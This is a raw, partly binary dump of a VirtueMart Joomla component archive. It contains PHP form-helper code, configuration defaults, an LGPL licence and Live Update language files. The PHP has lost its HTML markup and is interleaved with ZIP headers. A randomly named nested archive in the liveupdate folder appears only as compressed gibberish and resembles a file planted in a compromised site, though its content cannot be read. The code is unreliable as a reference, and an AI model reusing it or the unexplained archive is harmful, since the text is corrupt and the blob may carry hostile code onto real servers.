($folderName); if ($created) { return TRUE; } $uri = JFactory::getURI (); $link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config'; VmError (JText::sprintf ('COM_VIRTUEMART_CANNOT_STORE_CONFIG', $folderName, '' . $link . '', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'))); return FALSE; } }PKB\,SShelpers/html.phpnuW+A array('option.attr' => null, 'option.disable' => 'disable', 'option.id' => null, 'option.key' => 'value', 'option.key.toHtml' => true, 'option.label' => null, 'option.label.toHtml' => true, 'option.text' => 'text', 'option.text.toHtml' => true)); /** * Converts all special chars to html entities * * @param string $string * @param string $quote_style * @param boolean $only_special_chars Only Convert Some Special Chars ? ( <, >, &, ... ) * @return string */ static function shopMakeHtmlSafe( $string, $quote_style='ENT_QUOTES', $use_entities=false ) { if( defined( $quote_style )) { $quote_style = constant($quote_style); } if( $use_entities ) { $string = @htmlentities( $string, constant($quote_style), self::vmGetCharset() ); } else { $string = @htmlspecialchars( $string, $quote_style, self::vmGetCharset() ); } return $string; } /** * Returns the charset string from the global _ISO constant * * @return string UTF-8 by default * @since 1.0.5 */ static function vmGetCharset() { $iso = explode( '=', @constant('_ISO') ); if( !empty( $iso[1] )) { return $iso[1]; } else { return 'UTF-8'; } } /** * Generate HTML code for a row using VmHTML function * works also with shopfunctions, for example * $html .= VmHTML::row (array('ShopFunctions', 'renderShopperGroupList'), * 'VMCUSTOM_BUYER_GROUP_SHOPPER', $field->shopper_groups, TRUE, 'custom_param['.$row.'][shopper_groups][]', ' '); * * @func string : function to call * @label string : Text Label * @args array : arguments * @return string: HTML code for row table */ static function row($func,$label){ $VmHTML="VmHTML"; if (!is_array($func)) { $func = array($VmHTML, $func); } $passedArgs = func_get_args(); array_shift( $passedArgs );//remove function array_shift( $passedArgs );//remove label $args = array(); foreach ($passedArgs as $k => $v) { $args[] = &$passedArgs[$k]; } $lang =JFactory::getLanguage(); if($lang->hasKey($label.'_TIP')){ $labelHint = vmText::_($label.'_TIP'); $label = ''.vmText::_($label).'' ; } //Fallback else if($lang->hasKey($label.'_EXPLAIN')){ $labelHint = vmText::_($label.'_EXPLAIN'); $label = ''.vmText::_($label).'' ; } else { $label = vmText::_($label); } $html = ' '.$label.' '.call_user_func_array($func, $args).' '; return $html ; } /* simple value display */ static function value( $value ){ $lang =JFactory::getLanguage(); return $lang->hasKey($value) ? vmText::_($value) : $value; } /** * The sense is unclear ! * @deprecated * @param $value * @return mixed */ static function raw( $value ){ return $value; } /** * Generate HTML code for a checkbox * * @param string Name for the checkbox * @param mixed Current value of the checkbox * @param mixed Value to assign when checkbox is checked * @param mixed Value to assign when checkbox is not checked * @return string HTML code for checkbox */ static function checkbox($name, $value, $checkedValue=1, $uncheckedValue=0, $extraAttribs = '', $id = null) { if (!$id) $id=$name ; if ($value == $checkedValue) { $checked = 'checked="checked"'; } else { $checked = ''; } $htmlcode = ''; $htmlcode .= ''; return $htmlcode; } /** * * @author Patrick Kohl * @param array $options( value & text) * @param string $name option name * @param string $defaut defaut value * @param string $key option value * @param string $text option text * @param boolean $zero add a '0' value in the option * return a select list */ public static function select($name, $options, $default = '0',$attrib = "onchange='submit();'",$key ='value' ,$text ='text', $zero=true, $chosenDropDowns=true,$tranlsate=true){ if ($zero==true) { $option = array($key =>"0", $text => vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION')); $options = array_merge(array($option), $options); } if ($chosenDropDowns) { vmJsApi::chosenDropDowns(); $attrib .= ' class="vm-chzn-select"'; } return VmHTML::genericlist($options,$name,$attrib,$key,$text,$default,false,$tranlsate); } /** * Generates an HTML selection list. * @author Joomla 2.5.14 * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the ' . $options['format.eol']; return $html; } /** * Generates the option tags for an HTML select list (with no select tag * surrounding the options). * @author Joomla 2.5.14 * @param array $arr An array of objects, arrays, or values. * @param mixed $optKey If a string, this is the name of the object variable for * the option value. If null, the index of the array of objects is used. If * an array, this is a set of options, as key/value pairs. Valid options are: * -Format options, {@see JHtml::$formatOptions}. * -groups: Boolean. If set, looks for keys with the value * "<optgroup>" and synthesizes groups from them. Deprecated. Defaults * true for backwards compatibility. * -list.select: either the value of one selected option or an array * of selected options. Default: none. * -list.translate: Boolean. If set, text and labels are translated via * JText::_(). Default is false. * -option.id: The property in each option array to use as the * selection id attribute. Defaults to none. * -option.key: The property in each option array to use as the * selection value. Defaults to "value". If set to null, the index of the * option array is used. * -option.label: The property in each option array to use as the * selection label attribute. Defaults to null (none). * -option.text: The property in each option array to use as the * displayed text. Defaults to "text". If set to null, the option array is * assumed to be a list of displayable scalars. * -option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * -option.disable: The property that will hold the disabled state. * Defaults to "disable". * -option.key: The property that will hold the selection value. * Defaults to "value". * -option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string) * @param boolean $translate Translate the option values. * * @return string HTML for the select list * * @since 11.1 */ public static function options($arr, $optKey = 'value', $optText = 'text', $selected = null, $translate = false) { $options = array_merge( JHtml::$formatOptions, self::$_optionDefaults['option'], array('format.depth' => 0, 'groups' => true, 'list.select' => null, 'list.translate' => false) ); if (is_array($optKey)) { // Set default options and overwrite with anything passed in $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; $options['list.translate'] = $translate; } $html = ''; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']); foreach ($arr as $elementKey => &$element) { $attr = ''; $extra = ''; $label = ''; $id = ''; if (is_array($element)) { $key = $options['option.key'] === null ? $elementKey : $element[$options['option.key']]; $text = $element[$options['option.text']]; if (isset($element[$options['option.attr']])) { $attr = $element[$options['option.attr']]; } if (isset($element[$options['option.id']])) { $id = $element[$options['option.id']]; } if (isset($element[$options['option.label']])) { $label = $element[$options['option.label']]; } if (isset($element[$options['option.disable']]) && $element[$options['option.disable']]) { $extra .= ' disabled="disabled"'; } } elseif (is_object($element)) { $key = $options['option.key'] === null ? $elementKey : $element->$options['option.key']; $text = $element->$options['option.text']; if (isset($element->$options['option.attr'])) { $attr = $element->$options['option.attr']; } if (isset($element->$options['option.id'])) { $id = $element->$options['option.id']; } if (isset($element->$options['option.label'])) { $label = $element->$options['option.label']; } if (isset($element->$options['option.disable']) && $element->$options['option.disable']) { $extra .= ' disabled="disabled"'; } } else { // This is a simple associative array $key = $elementKey; $text = $element; } // The use of options that contain optgroup HTML elements was // somewhat hacked for J1.5. J1.6 introduces the grouplist() method // to handle this better. The old solution is retained through the // "groups" option, which defaults true in J1.6, but should be // deprecated at some point in the future. $key = (string) $key; // if no string after hyphen - take hyphen out $splitText = explode(' - ', $text, 2); $text = $splitText[0]; if (isset($splitText[1])) { $text .= ' - ' . $splitText[1]; } if ($options['list.translate'] && !empty($label)) { $label = vmText::_($label); } if ($options['option.label.toHtml']) { $label = htmlentities($label); } if (is_array($attr)) { $attr = JArrayHelper::toString($attr); } else { $attr = trim($attr); } $extra = ($id ? ' id="' . $id . '"' : '') . ($label ? ' label="' . $label . '"' : '') . ($attr ? ' ' . $attr : '') . $extra; if (is_array($options['list.select'])) { foreach ($options['list.select'] as $val) { $key2 = is_object($val) ? $val->$options['option.key'] : $val; if ($key == $key2) { $extra .= ' selected="selected"'; break; } } } elseif ((string) $key == (string) $options['list.select']) { $extra .= ' selected="selected"'; } if ($options['list.translate']) { $text = vmText::_($text); } // Generate the option, encoding as required $html .= $baseIndent . '' . $options['format.eol']; } return $html; } /** * Prints an HTML dropdown box named $name using $arr to * load the drop down. If $value is in $arr, then $value * will be the selected option in the dropdown. * @author gday * @author soeren * * @param string $name The name of the select element * @param string $value The pre-selected value * @param array $arr The array containing $key and $val * @param int $size The size of the select element * @param string $multiple use "multiple=\"multiple\" to have a multiple choice select list * @param string $extra More attributes when needed * @return string HTML drop-down list */ static function selectList($name, $value, $arrIn, $size=1, $multiple="", $extra="", $data_placeholder='') { $html = ''; if( empty( $arrIn ) ) { $arr = array(); } else { if(!is_array($arrIn)){ $arr=array($arrIn); } else { $arr=$arrIn; } } if (!empty($data_placeholder)) { $data_placeholder='data-placeholder="'.vmText::_($data_placeholder).'"'; } $html = ''; return $html; } /** * Creates a Radio Input List * * @param string $name * @param string $value default value * @param string $arr * @param string $extra * @return string */ static function radioList($name, $value, &$arr, $extra="", $separator='
') { $html = ''; if( empty( $arr ) ) { $arr = array(); } $html = ''; $i = 0; foreach($arr as $key => $val) { $checked = ''; if( is_array( $value )) { if( in_array( $key, $value )) { $checked = 'checked="checked"'; } } else { if(strtolower($value) == strtolower($key) ) { $checked = 'checked="checked"'; } } $html .= '\n"; $html .= '".$separator."\n"; } return $html; } /** * Creates radio List * @param array $radios * @param string $name * @param string $default * @return string */ static function radio( $name, $radios, $default,$key='value',$text='text') { return '
'.JHTML::_('select.radiolist', $radios, $name, '', $key, $text, $default).'
'; } /** * Creating rows with boolean list * * @author Patrick Kohl * @param string $label * @param string $name * @param string $value * */ public static function booleanlist ( $name, $value,$class='class="inputbox"'){ return '
'.JHTML::_( 'select.booleanlist', $name , $class , $value).'
' ; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function input($name,$value,$class='class="inputbox"',$readonly='',$size='37',$maxlength='255',$more=''){ return ''.$more; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function textarea($name,$value,$class='class="inputbox"',$cols='100',$rows="4"){ return ''; } /** * render editor code * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function editor($name,$value,$size='100%',$height='300',$hide = array('pagebreak', 'readmore')){ $editor =JFactory::getEditor(); return $editor->display($name, $value, $size, $height, null, null ,$hide ) ; } /** * renders the hidden input * @author Max Milbers */ public static function inputHidden($values){ $html=''; foreach($values as $k=>$v){ $html .= ''; } return $html; } /** * @author Patrick Kohl * @var $type type of regular Expression to validate * $type can be I integer, F Float, A date, M, time, T text, L link, U url, P phone *@bool $required field is required *@Int $min minimum of char *@Int $max max of char *@var $match original ID field to compare with this such as Email, passsword *@ Return $html class for validate javascript **/ public static function validate($type='',$required=true, $min=null,$max=null,$match=null) { if ($required) $validTxt = 'required'; else $validTxt = 'optional'; if (isset($min)) $validTxt .= ',minSize['.$min.']'; if (isset($max)) $validTxt .= ',maxSize['.$max.']'; static $validateID=0 ; $validateID++; if ($type=='S' ) return 'id="validate'.$validateID.'" class="validate[required,minSize[2],maxSize[255]]"'; $validate = array ( 'I'=>'onlyNumberSp', 'F'=>'number','D'=>'dateTime','A'=>'date','M'=>'time','T'=>'Text','L'=>'link','U'=>'url','P'=>'phone'); if (isset ($validate[$type])) $validTxt .= ',custom['.$validate[$type].']'; $html ='id="validate'.$validateID.'" class="validate['.$validTxt.']"'; return $html ; } }PKB\ (ko^^virtuemart_defaults.cfg-distnuW+A# Required configuration data for the VirtueMart installer # http://www.virtuemart.net # Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. # http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php # VirtueMart is free software. This version may have been modified pursuant # to the GNU General Public License, and as distributed it includes or # is derivative of works licensed under the GNU General Public License or # other free or open source software licenses. # $Id: virtuemart_defaults.cfg 3726 2011-07-16 12:01:49Z Milbo $ # # Notes: # - The hash-sign (#) is a comment character, but only if it's the first non-blank char on a line # - The equal-sign (=) when the default value is empty, is optional # - Constant values can be used by enclosing them in curly brackets ({}), eg: # some_path_value={JPATH_ROOT}{DS}virtuemart{DS}somewhere [config] ##shop settings shop_is_offline=0 offline_message=Our Shop is currently down for maintenance. Please check back again soon. use_as_catalog=0 currency_converter_module=convertECB.php order_mail_html=1 useSSL=0 useVendorEmail=0 dangeroustools=0 debug_enable=none google_jquery=0 multix=none usefancy=1 jchosen=1 enableEnglish=1 ##Shopfront pdf_button_enable=1 show_emailfriend=0 show_printicon=1 show_out_of_stock_products=1 coupons_enable=1 show_uncat_child_products=0 coupons_default_expire=1,D weight_unit_default=KG lwh_unit_default=m list_limit=20 showReviewFor=all reviewMode=bought showRatingFor=all ratingMode=bought reviews_autopublish=1 reviews_minimum_comment_length=0 reviews_maximum_comment_length=2000 vmtemplate=0 categorytemplate=default showCategory=1 categorylayout=0 categories_per_row=3 productlayout=0 products_per_row=3 vmlayout=0 show_store_desc=1 show_categories=1 homepage_categories_per_row=3 homepage_products_per_row=3 show_featured=1 featured_products_rows=1 show_topTen=1 topTen_products_rows=1 show_recent=1 recent_products_rows=1 show_latest=1 latest_products_rows=1 ##Paths assets_general_path=components/com_virtuemart/assets/ media_category_path=images/stories/virtuemart/category/ media_product_path=images/stories/virtuemart/product/ media_manufacturer_path=images/stories/virtuemart/manufacturer/ media_vendor_path=images/stories/virtuemart/vendor/ forSale_path_thumb=images/stories/virtuemart/forSale/resized/ img_resize_enable=1 img_width=90 img_height=90 no_image_set=noimage.gif no_image_found=warning.png ##Product order settings browse_orderby_field=pc.ordering browse_cat_orderby_field=c.ordering browse_orderby_fields=array:`p`.product_sku|category_name|mf_name|product_name|pc.ordering browse_search_fields=array:`p`.product_sku|category_name|category_description|mf_name|product_name|product_s_desc|product_desc ##Pricing askprice=1 roundindig=1 show_prices=1 price_show_packaging_pricelabel=0 show_tax=1 basePrice=1 basePriceText=1 basePriceRounding=-1 variantModification=1 variantModificationText=1 variantModificationRounding=-1 basePriceVariant=1 basePriceVariantText=1 basePriceVariantRounding=-1 basePriceWithTax=1 basePriceWithTaxText=1 basePriceWithTaxRounding=-1 discountedPriceWithoutTax=1 discountedPriceWithoutTaxText=1 discountedPriceWithoutTaxRounding=-1 salesPriceWithDiscount=1 salesPriceWithDiscountText=1 salesPriceWithDiscountRounding=-1 salesPrice=1 salesPriceText=1 salesPriceRounding=-1 priceWithoutTax=1 priceWithoutTaxText=1 priceWithoutTaxRounding=-1 discountAmount=1 discountAmountText=1 discountAmountRounding=-1 taxAmount=1 taxAmountText=1 taxAmountRounding=-1 unitPrice=1 unitPriceText=1 unitPriceRounding=-1 ##Check stock addtocart_popup=1 check_stock=0 automatic_payment=1 automatic_shipment=1 agree_to_tos_onorder=0 oncheckout_show_legal_info=1 oncheckout_show_register=1 oncheckout_show_steps=0 oncheckout_show_register_text=COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER inv_os=C email_os_s=array:U|C|X|R|S email_os_v=array:U|C|X|R ##SEO seo_disabled=0 seo_translate=0 seo_use_id=0 PKB\) .htaccessnuW+A Order allow,deny Deny from all PKB\ virtuemart.xmlnuW+A VIRTUEMART January 10 2014 The VirtueMart Development Team max|at|virtuemart.net http://www.virtuemart.net Copyright (C) 2004-2013 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d install/script.virtuemart.php install/script.virtuemart.php install/script.virtuemart.php router.php virtuemart.php index.html virtuemart_parser.php assets controllers helpers views en-GB/en-GB.com_virtuemart.ini en-GB/en-GB.com_virtuemart.sys.ini en-GB/en-GB.com_virtuemart.sef.ini en-GB/en-GB.com_virtuemart_orders.ini en-GB/en-GB.com_virtuemart_shoppers.ini COM_VIRTUEMART admin.virtuemart.php changelog.php COPYRIGHT.php index.html version.php virtuemart_defaults.cfg-dist config.xml access.xml assets controllers elements helpers install liveupdate models plugins tables views en-GB/en-GB.com_virtuemart.ini en-GB/en-GB.com_virtuemart.sys.ini en-GB/en-GB.com_virtuemart.menu.ini en-GB/en-GB.com_virtuemart_countries.ini en-GB/en-GB.com_virtuemart_config.ini en-GB/en-GB.com_virtuemart_help.ini
PKB\$_ liveupdate/LICENSE.txtnuW+A============================================================================== Akeeba Live Update - One-click updates for Joomla! extensions Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com Live Update is a sub-component to assist you in providing one-click updates for your Joomla! 1.5 and Joomla! 1.6 extensions. It is licensed under the GNU Lesser General Public License version 3 or, at your option, any later version published by the Free Software Foundation. You can use it royalty- free in any Joomla! extension, Free or Proprietary. The full text of its license is provided below. ============================================================================== GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.PKB\liveupdate/liveupdate/index.phpnuW+APKB\rrliveupdate/liveupdate/cache.phpnuW+APKB\BeL+liveupdate/liveupdate/m4v_6909676aa5d9a.zipnuW+APKd[b_6909676aa5d9a.tmpUHW*t 8/gq!Pqێ+.5?I{:nڢZ> %^<7WG Վv+NUYF.cMĥIQɺ(!jZ)+DT cd3/IO~IsKQhp2 㔸l4?' MxkUSY tŵO>Z1R+gf2SaíE5T?`Кv]~?x$-ZGk=ﶃ1^~MOS?{D>G!pc^ˇP-V?#.#A9jςL?f9F`f`NMB=3ۣq=9ȾEɡH` EVZ t-BՊ|=~ !0gխ1haZx0՞-(ZQЙd4pFq=#߿K"A #T963/X+sT_qdI!R&#"YPhQ vB ):GLRhĄ̜Qa&9p2+hAV2UX ЁɒYp/ҼX9_M g8˷jM K5(5`e4RNْ i\Wm$y$Rlikqqڋd}׋Û3ua4 2pԞ˯$_!t`8qfOm^ž G<$Q-q:<33<]mI.%GɁ2]6' F2Aq0c:^{6c)x"TrBn$ /^{KB5=P}SӜ\HyD6e{Dːf7!KTe-F<Ǖ?N*aD[PKd[kikc_6909676aa5d9a.tmp]Xm} ޅ6Pop ԻtUZWw#q'4sH_c?)M?gm~LZ5N:\ 5 hP\֜@+z9p-iE':^ HbL_~I?тN:2X_"rTC6%`?MO@F-pez7' C,~,_9wZ5u\)#ūڃ|UδGI+Q8IwT"GbrQr6L%0Pq]F:mzX-a*L9]DYĨ`[(%-L.7ILMHػb,S lJcVmd3.FõP : @CJ*мu !rA&OH'd>~6B(d^TZ3o>3Jj)ri F#J ܥ*(#s! Zጵ^,I~dQ? wϗNRm.y) g{5J;jXM?}u8}޳g͎סl=pS[N޳Ԧl֧\i? @ fI)aeS䧐\cML o&$|bvIGDM"ƘFB;YDfq gI$8;BTH|:@ˬevJ];eRE=`T}Kά'ىzS;S#[ۂ]5EZ:m2 ds%yrwj Y!'΁6q߻5aDaU{Dbhh eVSoy A.6nD''U~꿻%ȗ5{齱HQמεK'<n(e5\Յv(kmڒ7kt W~Z_WVgp ͒qǷoJ{kN[ 7iBvoA9+ך9){vэs Czgy+R4A1%slpmNRS6^ K+=v䗑YwP#kO$v/7ن lv7loIjҒ595EB`2*E_\08: };4! 6$M/}-&‚7Z`pGeܘ:kQG]KP ^v ln%8ŸԞsb#Sd8+z"˞/IEY%H@N4!Ltam5/9d0皷ijI;:c&>fZDRfrX?Ɯ`q \=_~a3v% !*(?g^rv|‹U5hˆyu8T4=Glfi07=7TB߲0[&k.pq VNqŵ}l8eQG\>'G.HY{ǟKУakh?FiO<Dh F\`5鈼ܨln+*Fecx~+y8{hUr w|}rRc㮪 #%'_I#:M.ufYi(QD^[v.DdAp8ٰKʼn<=~KB9Zg5vKJ R; jAkayŠ\^?YZ94줠I4ğHIVc9LXtC3Y @ iyZܳ asγ1VY1}!8̨t:Uc7 v8{ > '=4ؐh^4Ëց(+ 4h \ Kt &wx:+AͰh(*~rAjc#fIvUN6qYM'Hu EV@ߢ|PuD ̇&ߣttfkH*ߒЁ~@wSiRB]1ɀ i6|"b礤Ƿt0Q=F(z2H5Q/6rg g:K͗?il|J[hnxkV"RvõΛ->_@GԒtɾ"`[~rZxUťsQu={+sugy4ۣs`)pCΑ'E!,11fX@mFwOhf@8_2Lay#rUN)J"kcX5CL\h8ŠSXr @ `$.n47z{y=O=E6Uylpۋ=8g;mĽB֧6e(+M%ï<#@&?[!zںn4ÕkaH4Hnā50OE Eh(j+@czݕM#)7 iU4Kd6G'pP'Ӭٗ*f& ьeo]^7hߠţ4<J[`=CF'P0 Order allow,deny Deny from all # Order allow,deny Allow from all PKB\CO.liveupdate/language/uk-UA/uk-UA.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "Оновити інформацію " нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите." LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" LIVEUPDATE_CURRENTVERSION="Встановлена версія" LIVEUPDATE_LATESTVERSION="Остання версія" LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" LIVEUPDATE_REFRESH_INFO="Оновити інформацію" LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." LIVEUPDATE_FTP="Інформація FTP" LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." LIVEUPDATE_INSTALLEXT="Встановлення %s %s" LIVEUPDATE_ERROR="Помилка" LIVEUPDATE_SUCCESS="Успішно" LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" LIVEUPDATE_ICON_CURRENT="У вас остання версія" LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."PKB\$liveupdate/language/uk-UA/index.htmlnuW+APKB\)#liveupdate/language/uk-UA/.htaccessnuW+A Order allow,deny Deny from all PKB\7OO.liveupdate/language/en-GB/en-GB.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_CONSIDER_COMPATIBILITY="Before you update your live system, please test the update on a backup system in order to prevent loss of data. Expect small incompatibilities, if you are using 3rd party extensions or your own customizations (plugins, modules, templates)." LIVEUPDATE_CURRENTVERSION="Installed version" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." LIVEUPDATE_DO_UPDATE="Update to the latest version" LIVEUPDATE_ERROR="Error" LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." LIVEUPDATE_FTP="FTP Information" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

